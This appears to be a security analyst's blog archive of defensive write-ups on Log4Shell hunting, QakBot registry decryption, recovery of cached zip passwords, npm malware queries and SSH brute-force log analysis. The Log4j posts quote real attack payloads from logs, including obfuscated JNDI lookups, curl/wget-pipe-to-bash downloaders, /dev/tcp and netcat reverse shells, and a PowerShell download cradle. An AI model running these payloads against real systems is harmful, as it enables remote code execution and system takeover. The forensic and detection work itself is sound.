Author Archives: zam

Interesting Request – Log4J JNDI Exploit

Recently, I saw a person asking question on one of Telegram group that I’ve joined.

The person said that if anyone know what kind of request is this. The person give the questioned logs – saying that this is from Nginx log:

10.0.0.170 - - [07/Aug/2023:08:30:53 +0000] "GET /${${u:n1:9:-j}${lr9t:-n}${uh:9n:-d}${o3k:j:-i}${s:4w:-:}${q:-l}${awd:-d}${h76x:-a}${y:c:-p}${t5i8:jtf5:-:}${m9:v12:-/}${a:sl8k:hdm8:-/}${gj:r2lq:-P}${6:0:-A}${e58:s0:-l}${7zyk:c:-0}${cw:9et:ute:-c}${tf:79jg:--}${${3sfd:14r:-s}${plvu:-y}${f:-s}${bi0:3:-:}${n7du:vjn5:s9ur:-j}${7c9y:-a}${bgw:p2:0:-v}${wn1z:u8q:97b5:-a}${3r4:todc:-.}${oe3g:318:xt1:-v}${mxps:-e}${ie7:7:iv6:-r}${2yl0:x:28eh:-s}${grtd:zm9t:-i}${3j:-o}${6stx:f:-n}}${ifx:8x1b:-.}${9ot:4xbq:as:-1}${5yg:mj4l:-f}${0o:-7}${o5:-1}${y:8c:-8}${7l45:7vlp:hw:-e}${d3:uiqe:-d}${akg:6gc:n26:-c}${hvl:gud1:-f}${at5:9:-2}${e:-c}${u24c:-0}${obl:ps:n:-f}${iq:-9}${kf0:fa:-f}${ubg:ymae:m8a:-c}${e47q:-5}${zq:gnx:dp:-c}${p:-c}${6r:2je3:-f}${kja8:4wk:wy2t:-c}${8oz:n:-0}${rw:-6}${fr:-6}${zj:-b}${tki:-9}${1l5:-8}${6bw1:8p:9j51:-7}${irbs:-3}${32:i:-c}${h:8jxp:3p:-3}${m8:1:-c}${yp:p:yet:-3}${e:a:-3}${op:-8}${86:1:lf0:-f}${k:e:-d}${u:-9}${y9d:576:-0}${4:af:-e}${q:b5l:-2}${if5:-a}${wb6:ica:-.}${7n:-z}${8qch:kp2i:i1xh:-.}${mbix:hd:-7}${jod:4:-b}${z89:hrp:-a}${xdv:w:te:-e}${s:9e:-.}${fuz:uk2:y:-x}${j:tg:-y}${7:-z}} HTTP/1.1" 404 6622 "${${ao:-j}${8w:-n}${3:-d}${jwi:-i}${c:zcwm:tdvi:-:}${yme:-l}${hze:nkbo:-d}${oe3:8gp:-a}${s1:-p}${2:0:yxq:-:}${k:4g:-/}${7:-/}${bz:-R}${au02:ohx:-E}${7sv:-l}${vazk:-0}${i:-c}${vq:--}${${tde:o:-s}${0:n:kp:-y}${58q0:dkei:-s}${9:5:-:}${ya0:fpa:-j}${4:-a}${i:-v}${ro:tja:-a}${yw:oy:-.}${c8:-v}${ajk:dc:-e}${vqp6:-r}${jwk:e:2:-s}${pin1:-i}${t17:-o}${zlc5:xsm:xe:-n}}${2j:-.}${pu:q:-1}${awp:t:-f}${1f:-7}${e:q0:-1}${k:-8}${e:w9:-e}${nbxi:-d}${zmn5:-c}${n0o:qm:-f}${1qs:6ja7:-2}${pcs:5:-c}${jc:-0}${yg:-f}${r:-9}${qkz0:4dm:3:-f}${lpje:r:34:-c}${si7:-5}${c:nrq:-c}${l1:-c}${n:e24:a:-f}${sx3i:1wx:-c}${0:re:7:-0}${j8l:yv:y8:-6}${xcmy:m:xly6:-6}${xoug:y0t:lvd:-b}${7rl:ms:-9}${o3vj:h:w:-8}${tofq:1mky:1q:-7}${2j:tf:49if:-3}${8zj:q:1o:-c}${2anb:u4:-3}${y:-c}${rxz:2us:3r:-3}${fy1u:b1:-3}${o:3:-8}${e6:gy:9qj:-f}${8sc9:-d}${op:5d8q:p4v:-9}${fu:bza6:ljh:-0}${t1:q:-e}${pzsx:-2}${s81x:-a}${ht:7nja:1x:-.}${xd:1g:7k:-z}${bgt:g7b:pkj7:-.}${eiu8:k8m:-7}${ng:kbtm:4d0a:-b}${rh:8f42:-a}${v:8:5:-e}${mbv:cxyn:h9ko:-.}${sq32:-x}${pqe:-y}${8vt3:j:-z}}" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" "34.68.34.76"
Code language: Access log (accesslog)

I never saw this kind of request. Quick Googling also did not find any answers.

Further inspection of the request line, it seems like obfuscated – the request is using looks like Bash parameter expansion feature.

Let’s try to translate the line 1-by-1:

${u:n1:9:-j}
${lr9t:-n}
${uh:9n:-d}
${o3k:j:-i}

Which translate into:

jndi

So, lets create a script that extract value after colon “-:”

#!/bin/bash

# Your obfuscated string
string='${u:n1:9:-j}${lr9t:-n}${uh:9n:-d}${o3k:j:-i}${s:4w:-:}${q:-l}${awd:-d}${h76x:-a}${y:c:-p}${t5i8:jtf5:-:}${m9:v12:-/}${a:sl8k:hdm8:-/}${gj:r2lq:-P}${6:0:-A}${e58:s0:-l}${7zyk:c:-0}${cw:9et:ute:-c}${tf:79jg:--}${${3sfd:14r:-s}${plvu:-y}${f:-s}${bi0:3:-:}${n7du:vjn5:s9ur:-j}${7c9y:-a}${bgw:p2:0:-v}${wn1z:u8q:97b5:-a}${3r4:todc:-.}${oe3g:318:xt1:-v}${mxps:-e}${ie7:7:iv6:-r}${2yl0:x:28eh:-s}${grtd:zm9t:-i}${3j:-o}${6stx:f:-n}}${ifx:8x1b:-.}${9ot:4xbq:as:-1}${5yg:mj4l:-f}${0o:-7}${o5:-1}${y:8c:-8}${7l45:7vlp:hw:-e}${d3:uiqe:-d}${akg:6gc:n26:-c}${hvl:gud1:-f}${at5:9:-2}${e:-c}${u24c:-0}${obl:ps:n:-f}${iq:-9}${kf0:fa:-f}${ubg:ymae:m8a:-c}${e47q:-5}${zq:gnx:dp:-c}${p:-c}${6r:2je3:-f}${kja8:4wk:wy2t:-c}${8oz:n:-0}${rw:-6}${fr:-6}${zj:-b}${tki:-9}${1l5:-8}${6bw1:8p:9j51:-7}${irbs:-3}${32:i:-c}${h:8jxp:3p:-3}${m8:1:-c}${yp:p:yet:-3}${e:a:-3}${op:-8}${86:1:lf0:-f}${k:e:-d}${u:-9}${y9d:576:-0}${4:af:-e}${q:b5l:-2}${if5:-a}${wb6:ica:-.}${7n:-z}${8qch:kp2i:i1xh:-.}${mbix:hd:-7}${jod:4:-b}${z89:hrp:-a}${xdv:w:te:-e}${s:9e:-.}${fuz:uk2:y:-x}${j:tg:-y}${7:-z}'

# Use grep to match the pattern, then sed to extract the value after the colon
result=$(echo "$string" | grep -oP ':-\K[^}]+' | tr -d '\n')

echo "$result" # Outputs "jndi:l..."

Replace the “string” with the obfuscated string that we observed in the logs given.

Save the code & run it. Ta Daa! The output shown as below; seems related to Log4J JNDI exploitations:

10.0.0.170 - - [07/Aug/2023:08:30:53 +0000] "GET /${jndi:ldap://PAl0c-${sys:java.version}.1f718edcf2c0f9fc5ccfc066b9873c3c338fd90e2a.z.7bae.xyz} HTTP/1.1" 404 6622 "${jndi:ldap://REl0c-${sys:java.version}.1f718edcf2c0f9fc5ccfc066b9873c3c338fd90e2a.z.7bae.xyz}" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36" "34.68.34.76"
Code language: Access log (accesslog)

Decrypting QBot/QakBot Registry

Recently, we have host machine that been infected with QBot/QakBot. Upon investigation, we found that it added a registry with some random name.

Based on Googling, I found this article – Decrypting Qakbot’s Encrypted Registry Keys which explain in details the encryption routine and how to decode the encrypted registry.

But I wondered.. How to decode the registry when we have only the artifacts e.g. NTUSER.dat, SOFTWARE registry hive collected.

Key Generation

Initially, system information is gathered by Qakbot from the infected host, including:
1. Computer Name (using GetComputerNameW)
2. Volume Serial Number (using GetVolumeInformationW)
3. User Account Name (using LookUpAccountSidW)

Let’s take, for example, our infected machine’s information:
Computer name: DESKTOP-4NQG47A (converted to UPPERCASE)
Volume Serial: 2797280851 (converted from the hexadecimal serial number A6BB1E53)
User Account Name: SECRET ACCOUNT (converted to UPPERCASE)

This information is then concatenated to form a password:
DESKTOP-4NQG47A2797280851SECRET ACCOUNT

The password is then hashed using a modified CRC32_shift4 algorithm.

Getting Ready

Typically, during case investigation, we usually have Computer Name and User Account Name info. But we missing the Volume Serial Number. To get that, run Powershell cmd below to get that serial number on infected host:

PS C:\ > Get-WmiObject Win32_volume | Format-table Name, @{Label = "SerialNumber"; Expression = {"{0:X}" -f $_.SerialNumber}}  -auto
Name                                        SerialNumber
----                                        ------------
C:\                                          CE6EB0A8

Next, convert the serial number from hex to decimal at https://www.rapidtables.com/convert/number/hex-to-decimal.html

CE6EB0A8 –> 3463360680

Now, we have the details of infected host:

W7VM39DKGH
3463360680 (from hex CE6EB0A8)
MAX_MAXIMUS

Next, we going to use this script below to decrypt the registry:
https://github.com/drole/qakbot-registry-decrypt

* Please note that this script needs to be run using Python 3+ and on Windows OS as it uses winreg library.
* Please setup this on your VM as we require to load/add the encrypted registry file to local machine.


Download the script and ensure required library and modules are installed in your VM.

Next, export the encrypted registry. In this example, I’m extracting the encrypted registry from NTUSER.dat:

To export it, open the NTUSER.dat file using Registry Explorer. Then, go to the encrypted registry path; in this case, its on SOFTWARE\Microsoft\Cjxgyfyefv. Then, right click on the key Cjxgyfyefv, select Export –> Key –> To .reg format. Choose your file name and location to save.

Copy the exported reg file to your VM. After that, double click the saved/exported .reg file to load/add it on your VM:

Click Yes to load/add the registry.

Check whether the registry is loaded or not via regedit:

Next, we going to decrypt the registry.

Before running the script, we need to do some modification. Comment the line 52 until 63:

Then, add the following: computer_name, volume_serial_number with the converted hexa number and user_account_name of the infected machine. Refer screenshot above.

After that, run the Python script to decrypt the registry:

python qakbot-registry-decrypt.py -r HKEY_CURRENT_USER\SOFTWARE\Microsoft\Cjxgyfyefv

Remember to include also path to the encrypted registry key; in this case its HKEY_CURRENT_USER\SOFTWARE\Microsoft\Cjxgyfyefv

As you can see, we able to decode the registry and read the content. We see the possible C2 IP; 85.86.242.245, the .dll name, location and the time of execution.

Check in VT for the C2 IP – https://www.virustotal.com/gui/ip-address/85.86.242.245/detection

Seems like the IP is also noted as QBot/QakBot related IP from various sources.

That’s all from me. Hope you enjoy reading the article. 🙂

Windows Credentials Manager – Looking for cached Zip Passwords

Intro

When you open a password protected zip archive using Windows Explorer (“Extract All…”); in Windows 8.x/10, the password is automatically cached in the Credentials Manager for the life of the logon session.

Let’s say you discover a host been infected with a malware that coming from a zip file that are password-protected. We can possibly try to extract cached/stored credential from Windows Credential Manager and see if it stores password for password-protected file that we’re looking for.

Steps

To view if the host contains password for file that we needed, run this cmd below (require Admin privileges):

cmdkey /list

It will show list of stored credential that are available. If your target file is not listed, probably the credential has gone (the host has been rebooted) or the file been extracted using 3rd party apps (WinRAR, 7Zip).

To recover the password, we’ll need to use this Powershell script – https://github.com/zetlen/clortho/blob/master/CredMan.ps1

Download & save the script into target machine. Then, run the script as below:

.\CredMan.ps1 -GetCred -Target "target_credential"

e.g.:

.\CredMan.ps1 -GetCred -Target 'Microsoft_Windows_Shell_ZipFolder:filename=C:\Users\Administrator\Downloads\GeoIP.zip'

As you can see, we able to retrieve the “GeoIP.zip” password (pass: testtest).

Hunting for Log4j RCE (CVE-2021-44228) using RSA Netwitness

So, if you read my previous article; Hunting for Log4j RCE (CVE-2021-44228) using Splunk & Excel, last time we leveraging Splunk as our platform to hunt event/logs related to this Log4J vulnerability.

This time, we’re using RSA Netwitness; which we going to hunt this Log4Shell attempt thru pcap.

If you never seen how’s the RSA Netwitness interface looks like, here are the screenshot of the tools:

After you have gathered the pcap, we can use tshark to extract relevant field/result that we want.

Tshark command and filters that we’ll using:

"C:\Program Files\Wireshark\tshark.exe" -r your_pcap.pcap -Y "ip contains Base64 && http.request && ip contains jndi" -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.user_agent -e http.referer -E header=y -E separator=; > out.txt

Example of the output:

ip.src	tcp.srcport	ip.dst	tcp.dstport	http.request.method	http.request.uri	http.response.code	http.user_agent	http.referer
143.244.156.104	37058	X.X.X.X	8080	GET	/		${jndi:ldap://135.148.132.224:1389/Basic/Command/Base64/d2dldCBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY3VybCAtTyBodHRwOi8vMTUyLjY3LjYzLjE1MC9weTsgY2htb2QgNzc3IHB5OyAuL3B5IHJjZS54ODY=}	

If we decoded the base64 above:

wget http://152[.]67[.]63[.]150/py; curl -O http://152[.]67[.]63[.]150/py; chmod 777 py; ./py rce.x86

Hunting for Log4j RCE (CVE-2021-44228) using Splunk & Excel

As you are aware, there are new Log4j vuln (CVE-2021-44228) vuln been disclosed and exploited in the wild currently.

So, I’m using Splunk query as below; based from Splunk blog [1] to see if there is attempt to use this vuln/exploit towards our assets:

index=* "${jndi:*" Base64 
| eval _time_UTC = _time - (strptime("2000-01-01 +00:00", "%F %:z") - strptime("2000-01-01 " . strftime(_time,"%:z"), "%F %Z")) 
| eval time_in_UTC = strftime(_time_UTC, "%F %T UTC") 
| rex field=_raw "[jJnNdDiI]{4}(\:|\%3A|\/|\%2F)(?<proto>\w+)(\:\/\/|\%3A\%2F\%2F)(\$\{.*?\}(\.)?)?(?<rce_dest>[a-zA-Z0-9\.\-\_\$\{\:]+)" 
| rex field=_raw "\/Base64\/(?<string>\S+)}" 
| table time_in_UTC proto rce_dest string sourcetype 

As you can see, there are numbers of attempt observed towards our infra for past 7 days:

The raw event looks something like this:

2021-12-10 19:27:20 X.X.X.X GET /owa/auth/logon.aspx url=https%3a%2f%2fX.X.X.X%2fowa%2f&reason=0&CorrelationID=<empty>;&ClientId=AGS0JSW0AJIUEPWEVZ&cafeReqId=13016af6-7c1b-4e2f-b148-1cc2399d2b08; 443 - X.X.X.X ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9YLlguWC5YOjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC9YLlguWC4xODo0NDMpfGJhc2g=} https://X.X.X.X/owa/ 200 0 0 0

Using the Splunk query above, it will show you a table formatted data which contains extracted base64 under field named “string“.

The result after we export it from Splunk (opened in Excel) looks like:

If you decode the base64 from the example of raw event above:

KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC9YLlguWC5YOjQ0M3x8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC9YLlguWC4xODo0NDMpfGJhc2g=

It appear to be a curl & wget attempt towards our infra:

(curl -s 45.155.205.233:5874/X.X.X.X:443||wget -q -O- 45.155.205.233:5874/X.X.X.X:443)|bash

I’m wondering.. How can I quickly decode all these base64 strings? We not gonna decode it one-by-one aren’t we? There are hundreds or probably thousand of it.

So… We going to leverage Excel & macro (yes. you read it right. MACRO) to automatically decode those base64 strings for us. We going to Excel-Fu out of this data.

The macro code that we’ll be using as below:

Function TextBase64Encode(strText, strCharset)

    Dim arrBytes

    With CreateObject("ADODB.Stream")
        .Type = 2 ' adTypeText
        .Open
        .Charset = strCharset
        .WriteText strText
        .Position = 0
        .Type = 1 ' adTypeBinary
        arrBytes = .Read
        .Close
    End With

    With CreateObject("MSXML2.DOMDocument").createElement("tmp")
        .DataType = "bin.base64"
        .nodeTypedValue = arrBytes
        TextBase64Encode = Replace(Replace(.Text, vbCr, ""), vbLf, "")
    End With

End Function

Function TextBase64Decode(strBase64, strCharset)

    Dim arrBinary

    With CreateObject("MSXML2.DOMDocument").createElement("tmp")
        .DataType = "bin.base64"
        .Text = strBase64
        arrBinary = .nodeTypedValue
    End With

    With CreateObject("ADODB.Stream")
        .Type = 1 ' adTypeBinary
        .Open
        .Write arrBinary
        .Position = 0
        .Type = 2 ' adTypeText
        .Charset = strCharset
        TextBase64Decode = .ReadText
        .Close
    End With

End Function

To use it, first, we need to open the Splunk result that we exported earlier.

After that, press Alt-F8 to open the macro editor. Create new macro – you can give any name you want. For example, I named it “Base64“:

It will then open a new window. Paste macro code given above inside the editor:

After that, close the editor window. Just leave the Excel open.

Then, create 2 new column in the Excel sheet; column named “ASCII” and “Decoded Base64“:

We need to fill up column “ASCII” with string “ASCII” until end/bottom of your data. Let’s say you have 300 row of data in your Excel, then fill 300 of “ASCII” strings besides it.

Just press Ctrl + Arrow-Down to quickly go to end/bottom of data column. After that, type in string “ASCII” in one of the row and copy it (Ctrl-C). Then, press Ctrl + Shift + Arrow-Up to select from bottom to top. Then paste/Ctrl + V to fill all column with string “ASCII“.

Your Excel will look something like this:

Next, we going to start decoding the base64 strings.

Again, press Ctrl + Arrow-Down to go end of column, and type the formula as below:

=TextBase64Decode(<column-string>,<column-ASCII>)

Refer example as below:

Then, again, copy column with the formula, Ctrl + Shift + Arrow-Up to select from bottom to top & paste/Ctrl + V the formula into all selected column; under “Decoded Base64“.

That’s it. We have successfully decoded all the base64 strings via Excel.

List of attempt that I’ve observed so far:

(curl http://177.52.40.22:5000/xpert/app/lib/locawebstyle/dist/javascripts/log.php || wget -q -O- http://177.52.40.22:5000/xpert/app/lib/locawebstyle/dist/javascripts/log.php)|bash
(curl -S https://www.econ-jobs.com/Scripts/op.php||wget https://www.econ-jobs.com/Scripts/op.php)|bash
/bin/bash -i >& /dev/tcp/141.105.65.94/81
bash -i  >& /dev/tcp/139.59.138.109/8080 0>&1
bash -i >& /dev/tcp/141.105.65.94/443 0>&1
cmd.exe /c powershell.exe -c Invoke-WebRequest http://177.52.40.22:5000/xpert/app/lib/locawebstyle/dist/javascripts/log.php
dig $(whoami).c6sp7vq2vtc0000xa9y0gdc5d7hyyyyyb.interactsh.com
dig $(whoami).wjj96oqhn65ebgyqdrh6lt7o6fc80x.burpcollaborator.net
nc 165.22.213.147 8888 -e /bin/bash ; curl http://165.22.213.147:7777/backdoor.sh -o backdoor.sh ; chmod +x ./backdoor.sh ;bash backdoor.sh ; dig 
powershell -c iex ((New-Object System.Net.WebClient).DownloadString('https://textbin.net/raw/0l8h4xuvxe'))
telnet 141.105.65.94 443
touch /tmp/pwned
wget http://155.94.154.170/aaa;curl -O http://155.94.154.170/aaa;chmod 777 aaa;./aaa
wget http://194.36.188.187:9090/log/14953

References:
[1] https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html
[2] https://stackoverflow.com/questions/41572920/encoding-special-chracters-to-base64-in-excel-vba

Carbon Black query searching for malicious NPM library – coa & rc

Based on GitHub Advisory Database:
https://github.com/advisories/GHSA-g2q5-5433-rhrf – Embedded malware in rc
https://github.com/advisories/GHSA-73qr-pfmq-6rp8 – Embedded malware in coa

rc affected versions:
= 1.2.9
= 1.3.9
= 2.3.9

coa affected versions:
= 2.0.3
= 2.0.4
= 2.1.1
= 2.1.3
= 3.0.1
= 3.1.3

We can utilize Carbon Black Investigate feature to see if there’s any malicious npm library been installed in our environments. Here’s the query to do that:

Search for effected coa & rc library versions:

(filemod_name:\coa-2.0.3* OR filemod_name:\coa-2.0.4* OR filemod_name:\coa-2.1.1* OR filemod_name:\coa-2.1.3* OR filemod_name:\coa-3.0.1* OR filemod_name:\coa-3.1.3* OR filemod_name:\rc-1.2.9* OR filemod_name:\rc-1.3.9* OR filemod_name:\rc-2.3.9*)
Search for possible C2:

netconn_domain:pastorcryptograph[.]at

IOC:

• pastorcryptograph[.]at
• sdd.dll from coa - SHA256: f53ef1ed12f9ba49831ea33100083c9a92bc8adc6620f8a3b36a2d9ae2eb8591
• sdd.dll from rc - SHA256: 26451f7f6fe297adf6738295b1dcc70f7678434ef21d8b6aad5ec00beb8a72cf
• sdd.dll - SHA256: 687a401007c29ee595004d93c4dd5de6c5c9f86f811f8e1d9f1ad1962507cd65

References:
https://therecord.media/malware-found-in-coa-and-rc-two-npm-packages-with-23m-weekly-downloads/
https://www.virustotal.com/gui/file/687a401007c29ee595004d93c4dd5de6c5c9f86f811f8e1d9f1ad1962507cd65/detection/
https://media.cert.europa.eu/static/SecurityAdvisories/2021/CERT-EU-SA2021-062.pdf

Break-In Analyzer – Quickly analyze auth.log, secure, utmp & wtmp logs for possible SSH break-in attempts

Recently, I encountered incident where several hosts been infected by < █████████ >. So, to investigate this incident, we received bunch of logs to be analyze; mostly Linux related logs.

I’ve been thinking.. What if the host has been successfully brute-forced? How can we identify it?

In Linux, there are several logs that we can refer that contains authentication logs for both successful or failed logins, and authentication processes. Location & names of the logs varies; depending on system type. For Debian/Ubuntu, the logs located at /var/log/auth.log. For Redhat/CentOS, the logs located at /var/log/secure.

There are 2 more logs that we can refer;
/var/log/utmp: current login state by user.
/var/log/wtmp: record of each user login/logout.

So, what if we write a script to quickly go thru those mentioned logs & identify the culprits? Probably we can find out if our host has been successfully brute-forced.

Introducing.. Break-In AnalyzerA script that analyze the log files /var/log/auth.log (for Debian based systems), /var/log/secure (for RHEL based systems), utmp/wtmp for possible SSH break-in attempts. – https://github.com/zam89/Break-In-Analyzer

Here are some screenshot of the script in action:

Analyzing auth.log
Analyzing secure logs
Dumping & Analyzing wtmp files

The output result will be written into text file; stored into folder named output. Inside the folder will contains file named:
auth_output.log
secure_output.log
utmp_output.log
wtmp_output.log

So, you must been wondering; how can I validate these IPs? whether they are harmless or not? Well, to do that, we can use AbuseIPDB to quickly see each of IP reputation; either they’re clean or has been reported due to malicious activity.

In this example, I’m using AbuseIPDB Bulk Checker from – https://github.com/AdmiralSYN-ACKbar/bulkcheck. This tool can perform bulk checking of IPs towards AbuseIPDB website. *Just a side notes: it require API key from AbuseIPDb. You can get it for free by registering on the website. Its limited to 1000 request/IPs per day.

So, I’m checking 203 IPs that we got from Break-In Analyzer script output (after removing duplicated using Excels) on AbuseIPDB if there is any records for those IPs. After the check completed, the result shows something like this:

AbuseIPDB Bulk Checker result

If you filter out by abuseConfidenceScore (removing score 0), you’ll see there are 3 IPs that having kinda high confidence score. The higher the score, the more chances the IP marked as malicious – meaning that the IP has been reported multiple times related to malicious activities.

Next, we cross check with our Break-In Analyzer outputs to see where did these IPs located on the logs. Or you can cross check directly with your logs. To do that, run command as below:

$ grep --perl-regexp "110.93.200.118" --color=always --only-matching --recursive * | sort | uniq --count | sort --numeric --reverse

This command is basically searching where the IP “110.93.200.118” located/contains inside the log. If you run the command, you’ll see output as below:

Now we know that the IP “110.93.200.118” is contains inside wtmp dump log:
– node2/output/wtmpdump_output.txt
– node1/output/wtmpdump_output.txt

and also inside tools output:
– node2/output/output_node2.txt
– node1/output/output_node1.txt

If we go search inside the wtmp dump log for that IP “110.93.200.118“, we found that the IP has been accessing the system since Feb 2016… hmm.. 🤦

cat node2/output/wtmpdump_output.txt | grep 110.93.200.118 --color=always

This may indicate that the attacker has been leveraging the host for very long time.

Next step is probably to search what the IP or the account “portaladmin-ts” is doing inside the host.